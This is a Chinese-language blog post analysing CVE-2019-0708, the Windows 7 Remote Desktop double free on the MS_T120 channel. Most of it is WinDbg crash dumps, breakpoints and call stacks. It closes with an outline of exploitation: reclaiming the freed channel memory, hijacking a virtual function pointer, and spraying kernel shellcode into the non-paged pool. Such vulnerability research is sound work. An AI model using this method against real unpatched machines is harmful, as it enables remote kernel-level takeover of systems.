CVE-2019-0708 微软远程桌面服务远程代码执行漏洞之漏洞分析与漏洞利用

前情回顾

之前CVE-2019-0708补丁刚出来一天吧,就去分析补丁,进行了补丁对比,当时的分析把大家都给带偏了

CVE-2019-0708 微软远程桌面服务远程代码执行漏洞分析之补丁分析

现在来看,感觉自己当时是比较蠢了,既然只是针对MS_T120这个名字的Channel的_IcaBindChannel的第3个参数设置为31,而其他Channel没有写死,那么极大概率不是31这个参数可控不可控的问题了

当然后来也知道了31其实是Channel ID,而且这个是一个UAF漏洞,当然也可以说是Double Free(其实Double Free是UAF的特殊情况,因为这个USE是free而已)

漏洞简述

因为MS_T120这个channel是内部Channel,MS_T120 Channel被绑定两次(内部绑定一次,然后我们又绑定一次——id不是31)。由于绑定的时候没有限制,所以绑定在两个不同的ID下,因此MS_T120 Channel就有两个引用,假如我们关闭channel,就触发一次free,而系统默认也会free,那就变成了Double Free了。

实验环境

win 7 32位 旗舰版

漏洞分析

发送POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
kd> g

*** Fatal System Error: 0x0000000a
(0x00000000,0x00000002,0x00000001,0x840ED940)

Break instruction exception - code 80000003 (first chance)

A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.

A fatal system error has occurred.

Connected to Windows 7 7600 x86 compatible target at (Sun Sep 29 16:59:07.622 2019 (UTC + 8:00)), ptr64 FALSE
Loading Kernel Symbols
...............................................................
................................................................
...............................
Loading User Symbols
................................................................
....................
Loading unloaded module list
.........
*******************************************************************************
* *
* Bugcheck Analysis *
* *
*******************************************************************************

Use !analyze -v to get detailed debugging information.

BugCheck A, {0, 2, 1, 840ed940}

Probably caused by : termdd.sys ( termdd!_IcaFreeChannel+44 )

Followup: MachineOwner
---------

nt!RtlpBreakWithStatusInstruction:
840b2394 cc int 3
kd> !analyze -v
*******************************************************************************
* *
* Bugcheck Analysis *
* *
*******************************************************************************

IRQL_NOT_LESS_OR_EQUAL (a)
An attempt was made to access a pageable (or completely invalid) address at an
interrupt request level (IRQL) that is too high. This is usually
caused by drivers using improper addresses.
If a kernel debugger is available get the stack backtrace.
Arguments:
Arg1: 00000000, memory referenced
Arg2: 00000002, IRQL
Arg3: 00000001, bitfield :
bit 0 : value 0 = read operation, 1 = write operation
bit 3 : value 0 = not an execute operation, 1 = execute operation (only on chips which support this level of status)
Arg4: 840ed940, address which referenced memory

Debugging Details:
------------------


WRITE_ADDRESS: 00000000

CURRENT_IRQL: 2

FAULTING_IP:
nt!ExDeleteResourceLite+87
840ed940 8901 mov dword ptr [ecx],eax

DEFAULT_BUCKET_ID: VISTA_DRIVER_FAULT

BUGCHECK_STR: 0xA

PROCESS_NAME: svchost.exe

TRAP_FRAME: 90cc68ac -- (.trap 0xffffffff90cc68ac)
ErrCode = 00000002
eax=00000000 ebx=00000000 ecx=00000000 edx=00000000 esi=841b0280 edi=8a998884
eip=840ed940 esp=90cc6920 ebp=90cc6934 iopl=0 nv up ei pl zr na pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010246
nt!ExDeleteResourceLite+0x87:
840ed940 8901 mov dword ptr [ecx],eax ds:0023:00000000=????????
Resetting default scope

LAST_CONTROL_TRANSFER: from 84123e71 to 840b2394

STACK_TEXT:
90cc6474 84123e71 00000003 8fa1ca4b 00000065 nt!RtlpBreakWithStatusInstruction
90cc64c4 8412496d 00000003 00000000 840ed940 nt!KiBugCheckDebugBreak+0x1c
90cc688c 8408d7eb 0000000a 00000000 00000002 nt!KeBugCheck2+0x68b
90cc688c 840ed940 0000000a 00000000 00000002 nt!KiTrap0E+0x2cf
90cc6934 90237da2 8a998884 868a7c98 8a998878 nt!ExDeleteResourceLite+0x87
90cc6948 90238060 8a998878 8a998884 868b5670 termdd!_IcaFreeChannel+0x44
90cc6964 9023895f 8a998878 868b5670 00000000 termdd!IcaDereferenceChannel+0x34
90cc69a0 90239354 868b5670 00000005 0000001f termdd!IcaChannelInputInternal+0x3a7
90cc69c8 a60c5dc9 88cc2e24 00000005 0000001f termdd!IcaChannelInput+0x3c
90cc6a00 a60c5e31 a6232008 88cc2e20 88cc2e10 RDPWD!SignalBrokenConnection+0x40
90cc6a18 9023937f a5f73008 00000004 00000000 RDPWD!MCSIcaChannelInput+0x55
90cc6a44 a609d436 88e14884 00000004 00000000 termdd!IcaChannelInput+0x67
90cc726c a609d090 88e14880 88c525a8 840137a0 tssecsrv!CDefaultDataManager::Disconnect+0x3c
90cc72a4 a609ca16 90cc72b4 88e14870 a60a0118 tssecsrv!CFilter::FilterIncomingData+0x222
90cc72d0 9023c772 88c525a8 00000000 868a1cb4 tssecsrv!ScrRawInput+0x60
90cc72f4 a60936a9 868195c4 00000000 868a1cb4 termdd!IcaRawInput+0x5a
90cc7b30 9023b56d 868a1b68 8911f330 8844dc58 tdtcp!TdInputThread+0x34d
90cc7b4c 9023b67c 89073800 00380173 8911f3a0 termdd!_IcaDriverThread+0x53
90cc7b74 9023c00c 8844dc58 8911f330 868b5670 termdd!_IcaStartInputThread+0x6c
90cc7bb4 90239e91 868b5670 8911f330 8911f3a0 termdd!IcaDeviceControlStack+0x50a
90cc7be4 9023a065 8911f330 8911f3a0 88f3ce68 termdd!IcaDeviceControl+0x59
90cc7bfc 840834bc 87c0cbb0 8911f330 8911f330 termdd!IcaDispatch+0x13f
90cc7c14 84284eee 88f3ce68 8911f330 8911f3a0 nt!IofCallDriver+0x63
90cc7c34 842a1cd1 87c0cbb0 88f3ce68 00000000 nt!IopSynchronousServiceTail+0x1f8
90cc7cd0 842a44ac 87c0cbb0 8911f330 00000000 nt!IopXxxControlFile+0x6aa
90cc7d04 8408a42a 0000096c 00000000 00000000 nt!NtDeviceIoControlFile+0x2a
90cc7d04 776b64f4 0000096c 00000000 00000000 nt!KiFastCallEntry+0x12a
031cfc4c 776b4cac 6f5b18a7 0000096c 00000000 ntdll!KiFastSystemCallRet
031cfc50 6f5b18a7 0000096c 00000000 00000000 ntdll!NtDeviceIoControlFile+0xc
031cfc8c 6f5b25e9 0000096c 00380173 0037f0e0 ICAAPI!IcaIoControl+0x29
031cfcbc 77811174 80000000 031cfd08 776cb3f5 ICAAPI!IcaInputThreadUserMode+0x37
031cfcc8 776cb3f5 0037f0d8 74694ddb 00000000 kernel32!BaseThreadInitThunk+0xe
031cfd08 776cb3c8 6f5b25b2 0037f0d8 00000000 ntdll!__RtlUserThreadStart+0x70
031cfd20 00000000 6f5b25b2 0037f0d8 00000000 ntdll!_RtlUserThreadStart+0x1b


STACK_COMMAND: kb

FOLLOWUP_IP:
termdd!_IcaFreeChannel+44
90237da2 8d4644 lea eax,[esi+44h]

SYMBOL_STACK_INDEX: 5

SYMBOL_NAME: termdd!_IcaFreeChannel+44

FOLLOWUP_NAME: MachineOwner

MODULE_NAME: termdd

IMAGE_NAME: termdd.sys

DEBUG_FLR_IMAGE_TIMESTAMP: 4a5bcadf

FAILURE_BUCKET_ID: 0xA_termdd!_IcaFreeChannel+44

BUCKET_ID: 0xA_termdd!_IcaFreeChannel+44

Followup: MachineOwner
---------

可以看到是termdd!_IcaFreeChannel调用nt!ExDeleteResourceLite后崩溃了

在free的时候崩溃,那么很有可能就是double free了

IcaRebindVirtualChannelsIcaBindVirtualChannels中我们都可以看到IcaFindChannelByName函数,我们看看这个函数,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
int __stdcall IcaFindChannelByName(int a1, int a2, char *a3)
{
int v4; // ebx
_DWORD *v5; // esi
int v6; // edi

if ( a2 != 5 )
return IcaFindChannel(a1, a2, 0);
IcaLockChannelTable(a1 + 272);
v4 = a1 + 80;
v5 = *(_DWORD **)(a1 + 80);
if ( v5 == (_DWORD *)(a1 + 80) )
goto LABEL_14;
do
{
v6 = (int)(v5 - 40);
if ( *(v5 - 4) == 5 && !__stricmp((const char *)(v6 + 0x94), a3) ) //通过这个我们知道channelname是在0x94偏移
break;
v5 = (_DWORD *)*v5;
}
while ( v5 != (_DWORD *)v4 );
if ( v5 != (_DWORD *)v4 )
_InterlockedExchangeAdd((volatile signed __int32 *)(v6 + 8), 1u);
else
LABEL_14:
v6 = 0;
IcaUnlockChannelTable(a1 + 272);
return v6;
}

通过这一行,我们可以看到free的地址是8a998878

1
90cc6948 90238060 8a998878 8a998884 868b5670 termdd!_IcaFreeChannel+0x44

看看channel name是不是MS_T120(0x94这个便宜系统不同,应该不一样的)

1
2
kd> da 8a998878+0x94 
8a99890c "MS_T120"

可以看到确实是的,我们现在还不能完全确认是MS_T120 channel的UAF。

要进入步确认我们就需要看看这个MS_T120 channel实在哪里创建,是不是释放了两次

现在free函数已经知道了,那么申请内存的函数呢?

我们看看有哪些函数调用了IcaFindChannelByName

可以看到有一个IcaCreateChannel函数,很可能就是创建Channel,申请内存的函数,我们跟过去,又发现一个_IcaAllocateChannel

进去看看,看到申请的函数了,就是它了

那我们下两个记录断点(这个需要查看汇编,看看ExAllocatePoolWithTag的返回值,还有_IcaFreeChannel的参数

1
2
bu termdd!_IcaAllocateChannel+0x1c ".printf \"AllocateChannel Addresss: 0x%x\n\",@eax;.echo;gc"
bu termdd!_IcaFreeChannel ".printf \"FreeChannel Addresss: 0x%x\n\",@esi;.echo;gc"

再发送poc

发送payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
AllocateChannel Addresss: 0x88eecf38 
AllocateChannel Addresss: 0x892b4df0
AllocateChannel Addresss: 0x86a10d08
AllocateChannel Addresss: 0x87c63688
AllocateChannel Addresss: 0x88f6e1a8
AllocateChannel Addresss: 0x892b4818
FreeChannel Addresss: 0x88eecf38
FreeChannel Addresss: 0x88f6e1a8
FreeChannel Addresss: 0x892b4818
FreeChannel Addresss: 0x87c63688
FreeChannel Addresss: 0x86a10d08
FreeChannel Addresss: 0x892b4df0
AllocateChannel Addresss: 0x88f6e1a8
AllocateChannel Addresss: 0x892bfc10
AllocateChannel Addresss: 0x88eecf38
AllocateChannel Addresss: 0x87c63688
AllocateChannel Addresss: 0x892b4df0
AllocateChannel Addresss: 0x86a95c50
FreeChannel Addresss: 0x88f6e1a8
FreeChannel Addresss: 0x88f6e1a8

*** Fatal System Error: 0x0000000a
(0x00000000,0x00000002,0x00000001,0x840ED940)

Break instruction exception - code 80000003 (first chance)

A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.

A fatal system error has occurred.

Connected to Windows 7 7600 x86 compatible target at (Fri Sep 27 15:29:54.017 2019 (UTC + 8:00)), ptr64 FALSE
Loading Kernel Symbols
...............................................................
................................................................
..............................
Loading User Symbols
................................................................
....................
Loading unloaded module list
......
*******************************************************************************
* *
* Bugcheck Analysis *
* *
*******************************************************************************

Use !analyze -v to get detailed debugging information.

BugCheck A, {0, 2, 1, 840ed940}

Probably caused by : termdd.sys ( termdd!_IcaFreeChannel+44 )

Followup: MachineOwner
---------

nt!RtlpBreakWithStatusInstruction:
840b2394 cc int 3

我们看到,对0x88f6e1a8这个地址free了两次

1
2
FreeChannel Addresss: 0x88f6e1a8 
FreeChannel Addresss: 0x88f6e1a8

那就完全确认这个是UAF,也可以说是DOUBLE FREE(2 free)

在上面的基础,我们再下一个断点,看看是否同一个channel绑定了两个ID

1
bu termdd!_IcaBindChannel ".echo _IcaBindChannel ==================;kv;gc"

我已经把垃圾信息过滤了,日志如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
kd> g
AllocateChannel Addresss: 0x88fd5738
_IcaBindChannel ==================
ChildEBP RetAddr Args to Child
a52c99e0 90238be9 88fd5738 00000005 0000001f termdd!_IcaBindChannel (FPO: [Non-Fpo])
a52c9a04 90238d5e 8b1788e9 00000005 891282a7 termdd!_IcaAllocateChannel+0xf1 (FPO: [Non-Fpo])
a52c9a28 90240177 88f9b6b0 00000005 88b89648 termdd!IcaCreateChannel+0x6c (FPO: [Non-Fpo])
a52c9a58 9023a019 88b89648 88b896b8 869454d0 termdd!IcaCreate+0x13d (FPO: [Non-Fpo])
a52c9a70 840834bc 87c0cbb0 88b89648 8694552c termdd!IcaDispatch+0xf3 (FPO: [Non-Fpo])
a52c9a88 8428762d ba4135ef a52c9c30 00000000 nt!IofCallDriver+0x63
a52c9b60 842681d7 87c0cbb0 a57ff6e0 87bf5858 nt!IopParseDevice+0xed7
a52c9bdc 8428e24d 00000000 a52c9c30 00000040 nt!ObpLookupObjectName+0x4fa
a52c9c38 842865ab 013ae714 867ff6e0 a52c9c01 nt!ObOpenObjectByName+0x159
a52c9cb4 84291eb6 03251114 c0100000 013ae714 nt!IopCreateFile+0x673
a52c9d00 8408a42a 03251114 c0100000 013ae714 nt!NtCreateFile+0x34
a52c9d00 776b64f4 03251114 c0100000 013ae714 nt!KiFastCallEntry+0x12a (FPO: [0,3] TrapFrame @ a52c9d34)
......
......
......
_IcaBindChannel ==================
ChildEBP RetAddr Args to Child
a52c9960 9023949b 88fd5738 00000005 00000003 termdd!_IcaBindChannel (FPO: [Non-Fpo])
a52c9b74 9023bf90 86818670 88f17708 86818670 termdd!IcaBindVirtualChannels+0x101 (FPO: [Non-Fpo])
a52c9bb4 90239e91 86818670 88f17708 88f17778 termdd!IcaDeviceControlStack+0x48e (FPO: [Non-Fpo])
a52c9be4 9023a065 88f17708 88f17778 89187758 termdd!IcaDeviceControl+0x59 (FPO: [Non-Fpo])
a52c9bfc 840834bc 87c0cbb0 88f17708 88f17708 termdd!IcaDispatch+0x13f (FPO: [Non-Fpo])
a52c9c14 84284eee 89187758 88f17708 88f17778 nt!IofCallDriver+0x63
a52c9c34 842a1cd1 87c0cbb0 89187758 00000000 nt!IopSynchronousServiceTail+0x1f8
a52c9cd0 842a44ac 87c0cbb0 88f17708 00000000 nt!IopXxxControlFile+0x6aa
a52c9d04 8408a42a 00000840 00000000 00000000 nt!NtDeviceIoControlFile+0x2a
a52c9d04 776b64f4 00000840 00000000 00000000 nt!KiFastCallEntry+0x12a (FPO: [0,3] TrapFrame @ a52c9d34)
......
......
......
FreeChannel Addresss: 0x88fd5738
FreeChannel Addresss: 0x88fd5738

我们首先确定0x88fd5738这个地址的channel是不是MS_T120

1
2
kd> da 0x88fd5738+0x94
88fd57cc "MS_T120"

再看看termdd!_IcaBindChannel 的栈,针对的都是88fd5738这个地址,但是我们看第3个参数第一次是0x1f(其实就是十进制的31),而第二次是03,那就明显看到将同一个channel绑定了两个ID,导致有了两个引用,所以修复的时候强制指定为31,不管你绑定多少次,ID都是31

1
2
3
a52c99e0 90238be9 88fd5738 00000005 0000001f termdd!_IcaBindChannel (FPO: [Non-Fpo])

a52c9960 9023949b 88fd5738 00000005 00000003 termdd!_IcaBindChannel (FPO: [Non-Fpo])

最后我们再来看看他们调用栈的不同点

第一个调用栈,可以看到从NtCreateFile到termdd!IcaDispatch再到termdd!IcaCreateChannel,就是系统创建的这个channel,分配这个channel后进行了_IcaBindChannel操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ChildEBP RetAddr  Args to Child         
a52c99e0 90238be9 88fd5738 00000005 0000001f termdd!_IcaBindChannel (FPO: [Non-Fpo])
a52c9a04 90238d5e 8b1788e9 00000005 891282a7 termdd!_IcaAllocateChannel+0xf1 (FPO: [Non-Fpo])
a52c9a28 90240177 88f9b6b0 00000005 88b89648 termdd!IcaCreateChannel+0x6c (FPO: [Non-Fpo])
a52c9a58 9023a019 88b89648 88b896b8 869454d0 termdd!IcaCreate+0x13d (FPO: [Non-Fpo])
a52c9a70 840834bc 87c0cbb0 88b89648 8694552c termdd!IcaDispatch+0xf3 (FPO: [Non-Fpo])
a52c9a88 8428762d ba4135ef a52c9c30 00000000 nt!IofCallDriver+0x63
a52c9b60 842681d7 87c0cbb0 a57ff6e0 87bf5858 nt!IopParseDevice+0xed7
a52c9bdc 8428e24d 00000000 a52c9c30 00000040 nt!ObpLookupObjectName+0x4fa
a52c9c38 842865ab 013ae714 867ff6e0 a52c9c01 nt!ObOpenObjectByName+0x159
a52c9cb4 84291eb6 03251114 c0100000 013ae714 nt!IopCreateFile+0x673
a52c9d00 8408a42a 03251114 c0100000 013ae714 nt!NtCreateFile+0x34
a52c9d00 776b64f4 03251114 c0100000 013ae714 nt!KiFastCallEntry+0x12a (FPO: [0,3] TrapFrame @ a52c9d34)
......
......
......

而第二次明显是由我们触发的,termdd!IcaDeviceControl到termdd!IcaBindVirtualChannels

1
2
3
4
5
6
7
8
9
10
11
12
13
14
ChildEBP RetAddr  Args to Child              
a52c9960 9023949b 88fd5738 00000005 00000003 termdd!_IcaBindChannel (FPO: [Non-Fpo])
a52c9b74 9023bf90 86818670 88f17708 86818670 termdd!IcaBindVirtualChannels+0x101 (FPO: [Non-Fpo])
a52c9bb4 90239e91 86818670 88f17708 88f17778 termdd!IcaDeviceControlStack+0x48e (FPO: [Non-Fpo])
a52c9be4 9023a065 88f17708 88f17778 89187758 termdd!IcaDeviceControl+0x59 (FPO: [Non-Fpo])
a52c9bfc 840834bc 87c0cbb0 88f17708 88f17708 termdd!IcaDispatch+0x13f (FPO: [Non-Fpo])
a52c9c14 84284eee 89187758 88f17708 88f17778 nt!IofCallDriver+0x63
a52c9c34 842a1cd1 87c0cbb0 89187758 00000000 nt!IopSynchronousServiceTail+0x1f8
a52c9cd0 842a44ac 87c0cbb0 88f17708 00000000 nt!IopXxxControlFile+0x6aa
a52c9d04 8408a42a 00000840 00000000 00000000 nt!NtDeviceIoControlFile+0x2a
a52c9d04 776b64f4 00000840 00000000 00000000 nt!KiFastCallEntry+0x12a (FPO: [0,3] TrapFrame @ a52c9d34)
......
......
......

那么到最后我们我们关闭连接,我们绑定的MS_T120 channel free了一次,系统自己再free一次,那就造成了double free了

可以看看最后两次free的调用栈,第一次我们主动释放了ID 为03的channel,第二次是我们关闭了连接导致的释放(ID为31),明显看到第二次的栈上有tssecsrv!CDefaultDataManager::Disconnect(由于多次调试,下面的跟上面的地址会不一样)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
FreeChannel Addresss: 0x88ca9d48 
ChildEBP RetAddr Args to Child
8e653a10 90238060 88ca9d48 00000000 891e19a8 termdd!_IcaFreeChannel (FPO: [Non-Fpo])
8e653a2c 90238949 88ca9d48 890a0670 00000000 termdd!IcaDereferenceChannel+0x34 (FPO: [Non-Fpo])
8e653a68 90239354 890a0670 00000005 00000003 termdd!IcaChannelInputInternal+0x391 (FPO: [Non-Fpo])
8e653a90 945be1cf 8a9fb0d4 00000005 00000003 termdd!IcaChannelInput+0x3c (FPO: [Non-Fpo])
8e653ab0 945c1548 8a9fb0d4 00000005 00000003 RDPWD!WDICART_IcaChannelInputEx+0x1d (FPO: [Non-Fpo])
8e654148 945bbe42 a41c3008 8a9e9682 00000014 RDPWD!WDW_OnDataReceived+0x240 (FPO: [Non-Fpo])
8e654174 945bbbfd a41c38f0 a41e7134 00000000 RDPWD!SM_MCSSendDataCallback+0x19a (FPO: [Non-Fpo])
8e6541cc 945bba64 00000027 8e654204 8a9e9674 RDPWD!HandleAllSendDataPDUs+0x115 (FPO: [Non-Fpo])
8e6541e8 945d7958 00000027 8e654204 8a9fb0d0 RDPWD!RecognizeMCSFrame+0x32 (FPO: [Non-Fpo])
8e654214 945be63f a41c3008 8a9e96a2 00000001 RDPWD!MCSIcaRawInputWorker+0x3b4 (FPO: [Non-Fpo])
8e654228 9023c772 a41c3008 00000000 8a9e9674 RDPWD!WDLIB_MCSIcaRawInput+0x13 (FPO: [Non-Fpo])
8e65424c 945af46d 8a95a0c4 00000000 8a9e9674 termdd!IcaRawInput+0x5a (FPO: [Non-Fpo])
8e654264 945aef06 8a9e9674 0000002f 8a95a0c0 tssecsrv!CRawInputDM::PassDataToServer+0x2b (FPO: [Non-Fpo])
8e6542a4 945aea16 8e6542b4 8a95a0b0 945b2118 tssecsrv!CFilter::FilterIncomingData+0x98 (FPO: [Non-Fpo])
8e6542d0 9023c772 88c85050 00000000 8a9e9674 tssecsrv!ScrRawInput+0x60 (FPO: [Non-Fpo])
8e6542f4 945a56a9 8918c284 00000000 8a9e9674 termdd!IcaRawInput+0x5a (FPO: [Non-Fpo])
8e654b30 9023b56d 8a9e9528 88580158 8a981b68 tdtcp!TdInputThread+0x34d (FPO: [Non-Fpo])
8e654b4c 9023b67c 8a9f5878 00380173 885801c8 termdd!_IcaDriverThread+0x53 (FPO: [Non-Fpo])
8e654b74 9023c00c 8a981b68 88580158 890a0670 termdd!_IcaStartInputThread+0x6c (FPO: [Non-Fpo])
8e654bb4 90239e91 890a0670 88580158 885801c8 termdd!IcaDeviceControlStack+0x50a (FPO: [Non-Fpo])
8e654be4 9023a065 88580158 885801c8 890a1360 termdd!IcaDeviceControl+0x59 (FPO: [Non-Fpo])
8e654bfc 840834bc 87c0cbb0 88580158 88580158 termdd!IcaDispatch+0x13f (FPO: [Non-Fpo])
8e654c14 84284eee 890a1360 88580158 885801c8 nt!IofCallDriver+0x63
8e654c34 842a1cd1 87c0cbb0 890a1360 00000000 nt!IopSynchronousServiceTail+0x1f8
8e654cd0 842a44ac 87c0cbb0 88580158 00000000 nt!IopXxxControlFile+0x6aa
8e654d04 8408a42a 000007f4 00000000 00000000 nt!NtDeviceIoControlFile+0x2a
8e654d04 776b64f4 000007f4 00000000 00000000 nt!KiFastCallEntry+0x12a (FPO: [0,3] TrapFrame @ 8e654d34)
037af99c 776b4cac 6f5b18a7 000007f4 00000000 ntdll!KiFastSystemCallRet (FPO: [0,0,0])
037af9a0 6f5b18a7 000007f4 00000000 00000000 ntdll!NtDeviceIoControlFile+0xc (FPO: [10,0,0])
037af9dc 6f5b25e9 000007f4 00380173 029916f8 ICAAPI!IcaIoControl+0x29 (FPO: [Non-Fpo])
037afa0c 77811174 80000000 037afa58 776cb3f5 ICAAPI!IcaInputThreadUserMode+0x37 (FPO: [Non-Fpo])
037afa18 776cb3f5 029916f0 740f4a8b 00000000 kernel32!BaseThreadInitThunk+0xe (FPO: [Non-Fpo])
037afa58 776cb3c8 6f5b25b2 029916f0 00000000 ntdll!__RtlUserThreadStart+0x70 (FPO: [Non-Fpo])
037afa70 00000000 6f5b25b2 029916f0 00000000 ntdll!_RtlUserThreadStart+0x1b (FPO: [Non-Fpo])
FreeChannel Addresss: 0x88ca9d48
ChildEBP RetAddr Args to Child
8e653948 90238060 88ca9d48 88ca9d54 890a0670 termdd!_IcaFreeChannel (FPO: [Non-Fpo])
8e653964 9023895f 88ca9d48 890a0670 00000000 termdd!IcaDereferenceChannel+0x34 (FPO: [Non-Fpo])
8e6539a0 90239354 890a0670 00000005 0000001f termdd!IcaChannelInputInternal+0x3a7 (FPO: [Non-Fpo])
8e6539c8 945d7dc9 8a9fb0d4 00000005 0000001f termdd!IcaChannelInput+0x3c (FPO: [Non-Fpo])
8e653a00 945d7e31 a41e7008 8a9fb0d0 8a9fb0c0 RDPWD!SignalBrokenConnection+0x40 (FPO: [Non-Fpo])
8e653a18 9023937f a41c3008 00000004 00000000 RDPWD!MCSIcaChannelInput+0x55 (FPO: [Non-Fpo])
8e653a44 945af436 8a95a0c4 00000004 00000000 termdd!IcaChannelInput+0x67 (FPO: [Non-Fpo])
8e65426c 945af090 8a95a0c0 88c85050 840137a0 tssecsrv!CDefaultDataManager::Disconnect+0x3c (FPO: [Non-Fpo])
8e6542a4 945aea16 8e6542b4 8a95a0b0 945b2118 tssecsrv!CFilter::FilterIncomingData+0x222 (FPO: [Non-Fpo])
8e6542d0 9023c772 88c85050 00000000 8a9e9674 tssecsrv!ScrRawInput+0x60 (FPO: [Non-Fpo])
8e6542f4 945a56a9 8918c284 00000000 8a9e9674 termdd!IcaRawInput+0x5a (FPO: [Non-Fpo])
8e654b30 9023b56d 8a9e9528 88580158 8a981b68 tdtcp!TdInputThread+0x34d (FPO: [Non-Fpo])
8e654b4c 9023b67c 8a9f5878 00380173 885801c8 termdd!_IcaDriverThread+0x53 (FPO: [Non-Fpo])
8e654b74 9023c00c 8a981b68 88580158 890a0670 termdd!_IcaStartInputThread+0x6c (FPO: [Non-Fpo])
8e654bb4 90239e91 890a0670 88580158 885801c8 termdd!IcaDeviceControlStack+0x50a (FPO: [Non-Fpo])
8e654be4 9023a065 88580158 885801c8 890a1360 termdd!IcaDeviceControl+0x59 (FPO: [Non-Fpo])
8e654bfc 840834bc 87c0cbb0 88580158 88580158 termdd!IcaDispatch+0x13f (FPO: [Non-Fpo])
8e654c14 84284eee 890a1360 88580158 885801c8 nt!IofCallDriver+0x63
8e654c34 842a1cd1 87c0cbb0 890a1360 00000000 nt!IopSynchronousServiceTail+0x1f8
8e654cd0 842a44ac 87c0cbb0 88580158 00000000 nt!IopXxxControlFile+0x6aa
8e654d04 8408a42a 000007f4 00000000 00000000 nt!NtDeviceIoControlFile+0x2a
8e654d04 776b64f4 000007f4 00000000 00000000 nt!KiFastCallEntry+0x12a (FPO: [0,3] TrapFrame @ 8e654d34)
037af99c 776b4cac 6f5b18a7 000007f4 00000000 ntdll!KiFastSystemCallRet (FPO: [0,0,0])
037af9a0 6f5b18a7 000007f4 00000000 00000000 ntdll!NtDeviceIoControlFile+0xc (FPO: [10,0,0])
037af9dc 6f5b25e9 000007f4 00380173 029916f8 ICAAPI!IcaIoControl+0x29 (FPO: [Non-Fpo])
037afa0c 77811174 80000000 037afa58 776cb3f5 ICAAPI!IcaInputThreadUserMode+0x37 (FPO: [Non-Fpo])
037afa18 776cb3f5 029916f0 740f4a8b 00000000 kernel32!BaseThreadInitThunk+0xe (FPO: [Non-Fpo])
037afa58 776cb3c8 6f5b25b2 029916f0 00000000 ntdll!__RtlUserThreadStart+0x70 (FPO: [Non-Fpo])
037afa70 00000000 6f5b25b2 029916f0 00000000 ntdll!_RtlUserThreadStart+0x1b (FPO: [Non-Fpo])

漏洞利用简介

由于是double free,其实就是uaf利用思路,我们在第二次free的时候向上回溯

1
2
3
4
ChildEBP RetAddr  Args to Child              
8e653948 90238060 88ca9d48 88ca9d54 890a0670 termdd!_IcaFreeChannel (FPO: [Non-Fpo])
8e653964 9023895f 88ca9d48 890a0670 00000000 termdd!IcaDereferenceChannel+0x34 (FPO: [Non-Fpo])
8e6539a0 90239354 890a0670 00000005 0000001f termdd!IcaChannelInputInternal+0x3a7 (FPO: [Non-Fpo])

发现IcaChannelInputInternal有虚函数调用,可以从这劫持控制流

看汇编也就是这里劫持控制流

要控制channel的数据,必须得在其第一次free了之后占位,我们申请同样大小的内存

我们看看申请的大小是0xc8

那么只要控制channel内存的0x8C偏移,劫持v12虚函数指针

但是我们要劫持到哪呢,没有信息泄露啊

现在exp的一般的做法是内核堆喷射,在Non-paged Pool进行堆喷,win7在这个地址上面是没有DEP的,所以直接喷内核shellcode就好了,而且win7的Non-paged Pool的起始地址比较固定,那还好命中一些

一切就绪就可以劫持控制流了

我们也可以看到堆喷射出的shellcode有很多

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
kd> s 86000000 L 2000000 60 e8 00 00 00 00 5b e8
8688d030 60 e8 00 00 00 00 5b e8-23 00 00 00 b9 76 01 00 `.....[.#....v..
8688d088 60 e8 00 00 00 00 5b e8-cb ff ff ff 8b 45 00 83 `.....[......E..
8688d430 60 e8 00 00 00 00 5b e8-23 00 00 00 b9 76 01 00 `.....[.#....v..
8688d488 60 e8 00 00 00 00 5b e8-cb ff ff ff 8b 45 00 83 `.....[......E..
8688d830 60 e8 00 00 00 00 5b e8-23 00 00 00 b9 76 01 00 `.....[.#....v..
8688d888 60 e8 00 00 00 00 5b e8-cb ff ff ff 8b 45 00 83 `.....[......E..
8688dc30 60 e8 00 00 00 00 5b e8-23 00 00 00 b9 76 01 00 `.....[.#....v..
8688dc88 60 e8 00 00 00 00 5b e8-cb ff ff ff 8b 45 00 83 `.....[......E..
86892030 60 e8 00 00 00 00 5b e8-23 00 00 00 b9 76 01 00 `.....[.#....v..
86892088 60 e8 00 00 00 00 5b e8-cb ff ff ff 8b 45 00 83 `.....[......E..
86892430 60 e8 00 00 00 00 5b e8-23 00 00 00 b9 76 01 00 `.....[.#....v..
86892488 60 e8 00 00 00 00 5b e8-cb ff ff ff 8b 45 00 83 `.....[......E..
86892830 60 e8 00 00 00 00 5b e8-23 00 00 00 b9 76 01 00 `.....[.#....v..
86892888 60 e8 00 00 00 00 5b e8-cb ff ff ff 8b 45 00 83 `.....[......E..
86892c30 60 e8 00 00 00 00 5b e8-23 00 00 00 b9 76 01 00 `.....[.#....v..
86892c88 60 e8 00 00 00 00 5b e8-cb ff ff ff 8b 45 00 83 `.....[......E..
868c4030 60 e8 00 00 00 00 5b e8-23 00 00 00 b9 76 01 00 `.....[.#....v..
868c4088 60 e8 00 00 00 00 5b e8-cb ff ff ff 8b 45 00 83 `.....[......E..
